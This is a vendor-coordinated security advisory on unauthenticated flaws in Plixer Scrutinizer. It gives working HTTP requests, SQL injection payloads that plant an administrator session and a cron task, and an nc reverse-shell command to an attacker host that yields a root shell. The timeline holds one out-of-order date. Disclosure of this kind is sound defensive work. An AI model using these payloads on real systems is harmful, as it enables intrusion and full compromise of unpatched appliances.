- Plixer
Scrutinizer versions prior to 19.3.1
The Plixer Scrutinizer appliance is susceptible to a multiple vulnerabilities when processing remote input from an unauthenticated user, leading to administrative command execution.
Customers should upgrade to the version branch that addresses these vulnerabilities (19.2.2/19.3.2). Users should also consider restricting access to the Plixer Scrutinizer administrator interface to protected networks.
This issue was found by Chris Bellows of Atredis Partners.
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41261
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41262
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41263
- 2023-07-30: Atredis Partners sent an initial notification to vendor, including a draft advisory
- 2023-08-05: Vendor confirms receipt of the advisory
- 2022-08-25: Atredis Partners reports vulnerability to MITRE for CVE ID assignment.
- 2023-09-15: Plixer releases updates (19.2.2/19.3.2) within their support portal
- 2023-10-09: Atredis Partners publishes advisory ATREDIS-2023-0001
The csvExportReport
endpoint action generateCSV
does not require authentication and allows an unauthenticated user to export a report and access the results. The following request and response examples show how an unauthenticated user is able to export a CSV report:
POST /fcgi/scrut_fcgi.fcgi HTTP/1.1
Host: 192.168.1.240
Content-Length: 1381
Connection: close
rm=csvExportReport&action=generateCSV&rpt_obj={"id":0,"reportTypeLang":"internalExternalSrc","saved":{"name":"aaaaaaa","id":"1"},"filters":{"sdfDips_0":"in_GROUP_ALL"},"reportDirections":{"selected":"x"},"times":{"start":"1683739700","end":"1683739800","dateRange":"Custom"},"rateTotal":{"available":["rate","total"],"selected":"total"},"dataGranularity":{"selected":"auto"},"ipDns":{"selected":"DNS"},"dataFormat":{"selected":"normal"},"orderBy":"countdistinct_sourceipaddress","tableView":{"hidden_cols":["","dddd"],"sorting":"","inbound":{"query_limit":{"offset":0,"max_num_rows":"10"}},"outbound":{"query_limit":{"offset":0,"max_num_rows":"10"}},"maxNumRows":"10"},"graphView":{"types":{"selected":"step"},"graphStyle":{"default":"stacked","available":["stacked","unstacked"],"selected":"stacked"},"graphGranularity":{"default":"medium","available":["low","medium","high"],"sizes":{"low":60,"high":180,"medium":"120"},"seconds":600,"selected":"medium"},"showOthers":true,"colHasBbp":0},"saveGlow":false,"useServerTz":0,"bbp":{"selected":"percent"},"every_column":0,"break_out_by_interface":0,"useTotalsTables":0,"table_only":0,"alternative_time_column":"","dataMode":{"selected":"raw_flows"},"colHasOther":0}&data_requested=%7B%22table_name%22%3A%22xyz%22%7D&direction=inbound&filename=statusReport_aaaaaaa_internalExternalSrc_1683740222572_inbound.csv
Unauthenticated Request to generateCSV
HTTP/1.1 200 OK
{"filename":"statusReport_aaaaaaa_internalExternalSrc_1683740222572_inbound.csv"}
Server Response Returning File Name for the Generated Report
After obtaining the file name, an unauthetnicated user can access the report file under the path /csv/status/
:
GET /csv/status/statusReport_aaaaaaa_internalExternalSrc_1683740222572_inbound.csv HTTP/1.1
Host: 192.168.1.240
Connection: close
Unauthenticated Request to Download the Generated Report
HTTP/1.1 200 OK
"","Source","Unique Hosts","first_flow_epoch","last_flow_epoch",
"1","Internal","1.656 k","1683739740","1683739800",
"2","External","1.415 k","1683739740","1683739800",
Server Response Containing Report Contents
The csvExportReport
endpoint action generateCSV
is vulnerable to SQL injection through the sorting
parameter, allowing an unauthenticated user to execute arbitrary SQL statements in the context of the application's backend database server. In the following request, the sorting
parameter is assigned the ATTACKER_CONTROLLED
value to demonstrate how that value propogates to a SQL statement executed on the application database server.
POST /fcgi/scrut_fcgi.fcgi HTTP/1.1
Host: 192.168.1.240
Content-Length: 1381
Connection: close
rm=csvExportReport&action=generateCSV&rpt_obj={"id":0,"reportTypeLang":"internalExternalSrc","saved":{"name":"aaaaaaa","id":"1"},"filters":{"sdfDips_0":"in_GROUP_ALL"},"reportDirections":{"selected":"x"},"times":{"start":"1683739700","end":"1683739800","dateRange":"Custom"},"rateTotal":{"available":["rate","total"],"selected":"total"},"dataGranularity":{"selected":"auto"},"ipDns":{"selected":"DNS"},"dataFormat":{"selected":"normal"},"orderBy":"countdistinct_sourceipaddress","tableView":{"hidden_cols":["","dddd"],"sorting":", ATTACKER_CONTROLLED","inbound":{"query_limit":{"offset":0,"max_num_rows":"10"}},"outbound":{"query_limit":{"offset":0,"max_num_rows":"10"}},"maxNumRows":"10"},"graphView":{"types":{"selected":"step"},"graphStyle":{"default":"stacked","available":["stacked","unstacked"],"selected":"stacked"},"graphGranularity":{"default":"medium","available":["low","medium","high"],"sizes":{"low":60,"high":180,"medium":"120"},"seconds":600,"selected":"medium"},"showOthers":true,"colHasBbp":0},"saveGlow":false,"useServerTz":0,"bbp":{"selected":"percent"},"every_column":0,"break_out_by_interface":0,"useTotalsTables":0,"table_only":0,"alternative_time_column":"","dataMode":{"selected":"raw_flows"},"colHasOther":0}&data_requested=%7B%22table_name%22%3A%22xyz%22%7D&direction=inbound&filename=statusReport_aaaaaaa_internalExternalSrc_1683740222572_inbound.csv
Unauthenticated Request to generateCSV
with sorting
set to ATTACKER_CONTROLLED
When a request to generateCSV
is processed, the following query is executed by the database:
/* Get top x over all */
SELECT min(conv.intervaltime) as first_flow_epoch,max(conv.intervaltime) as last_flow_epoch, max(conv.intervaltime) as
intervaltime,
conv.srcinternal,
/* conv.sourceipaddress, conv.srcinternal */
COUNT(DISTINCT sourceipaddress) AS countdistinct_sourceipaddress
FROM plixer_temp.rtt0x52f1f59af05511edbc4b2012328df036_inbound as conv
WHERE quantize( conv.intervaltime, 600 ) IN( 1683654000,……,1683739800 )
GROUP BY conv.srcinternal
ORDER BY countdistinct_sourceipaddress , ATTACKER_CONTROLLED
NULLS LAST
LIMIT 10 OFFSET 0
SQL Statement Executed by the Database When Processing generateCSV
Requests
As shown in the preceeding SQL snippet, the ATTACKER_CONTROLLED
value is inserted into an ORDER BY
statement without validation or sanitization resulting in classic SQL injection. This vulnerability can be leveraged to to perform a variety of attacks such as the impersonation of an administrator user. Following is an example attack where new administrator session is inserted into the application database with a sessionid
cookie value of 1337133713371337
:
"sorting":" ,(SELECT 1 FROM dblink((select 'host=localhost user=plixer'), E'insert INTO plixer.sessions (session_id,user_id,auth_method,login_ts,update_ts) values (\'1337133713371337\',1,\'unpossible\',1683669820,1683847185)') RETURNS (result TEXT))--",
sorting
Parameter with SQL Injection Attack to Insert an Administrator User Session
After the application executes the SQL injection statement, an unauthenticated user is able to access authenticated actions such as checkSession
by including a sessionid
cookie with the injected value of 1337133713371337
to impersonate an administrator:
POST /fcgi/scrut_fcgi.fcgi HTTP/1.1
Host: 192.168.1.240
Cookie: cookiesenabled=1; seenSkinModal=1; userid=1; sessionid=1337133713371337;
Connection: close
Content-Length: 31
rm=authInit&action=checkSession
Accessing checkSession
as an Administrator
HTTP/1.1 200 OK
{"session":1}
Server Response Confirming Authenticated Administrator Access
In addition to impersonating privileged users, it was also possible to execute arbitrary commands on the system by injecting into the tasks
database table. Entries in the tasks
database table consist of system commands that can be executed on application server. To demonstrate the ability of an unauthenticated user to obtain remote command execution, the following payload was used to insert the command sudo /bin/nc 192.168.1.239 443 --ssl -e /bin/sh
with a task identifier of 7777
:
"sorting":",(SELECT 1 FROM dblink((select 'host=localhost user=plixer'), E'insert into tasks values (7777,\\'myTaskName\\',\\'sudo\\',\\'[\"/bin/nc\",\"192.168.1.239\",\"443\",\"--ssl\",\"-e\",\"/bin/sh\"]\\',0,1,7,\\'plixer\\',\\'2023-05-09 19:00:01.742342\\')') RETURNS (result TEXT))--"
Injecting a Task into the tasks
Database Table
Upon successful insertion of the above command into the tasks
table, another injection attack was performed to add the task identifier (7777
) into the crontab
table for execution:
"sorting":",(SELECT 1 FROM dblink((select 'host=localhost user=plixer'), E'insert into crontab values (7777,1152921504606846975,16777215,0,0,0)') RETURNS (result TEXT))--"
Injecting the 7777
Task Identifier into crontab
The injected command directs the nc
command on the application server to execute a reverse shell connection to an attacker controlled host (192.168.1.239
) on port 443
. To receive the reverse shell, an SSL-encrypted listener was started on the attacker-controlled host. Upon execution of the crontab
task, remote root
shell access is granted as shown here:
[$]> ncat -lvkp 443 --ssl
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: E513 F332 FE13 0B3B 0E04 DE04 E7FD A13B 038B 3812
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 192.168.1.240:59542.
id
uid=0(root) gid=0(root) groups=0(root)
Remote root
Shell from Injected Task
The Plixer Scrutinizer application also exposes debug logs to unauthenticated users at the /debug/
URL path. Debug logs are stored in this directory with the format IPADDRESS_ERROR_source.txt
, for example 192.168.1.240_ERROR_json_resp.txt
. With knowledge of valid IP addresses and source
types, an unauthenticated attacker can download debug logs containing application-related information as demonstrated in the following request and respnse examples:
GET /debug/192.168.1.240_ERROR_json_resp.txt HTTP/1.1
Host: 172.16.2.143
Content-Length: 2
Unauthenticated Request for a Debug Log
HTTP/1.1 200 OK
---- plixer_fcgi_get_known_objects (PID: 9849) --------------------Fri Sep 24 13:20:46 2021--------------------
Called from: Plixer::Scrutinizer::FastCGI::Modules::Json::json_resp line 40
Called from: Plixer::Scrutinizer::FastCGI::WebApp::run line 1226
40: Not a valid json obj:1 rm:get_known_objects
---- plixer_fcgi_get_known_objects (PID: 9709) --------------------Fri Sep 24 13:20:46 2021--------------------
Called from: Plixer::Scrutinizer::FastCGI::Modules::Json::json_resp line 40
Called from: Plixer::Scrutinizer::FastCGI::WebApp::run line 1226
40: Not a valid json obj:1 rm:get_known_objects
Server Response Containing the Contents of the Requested Log File
In addition to debug log files with the json_resp
source type, the following types of debug logs were also accessible without authentication:
get_default_or_first_map
get_distributed_tables_from_collectors
parseUrlFilter
run
columns_from_templates
get_default_or_first_map
get_distributed_tables_from_collectors
parseUrlFilter
report_get_finish_data
return_menu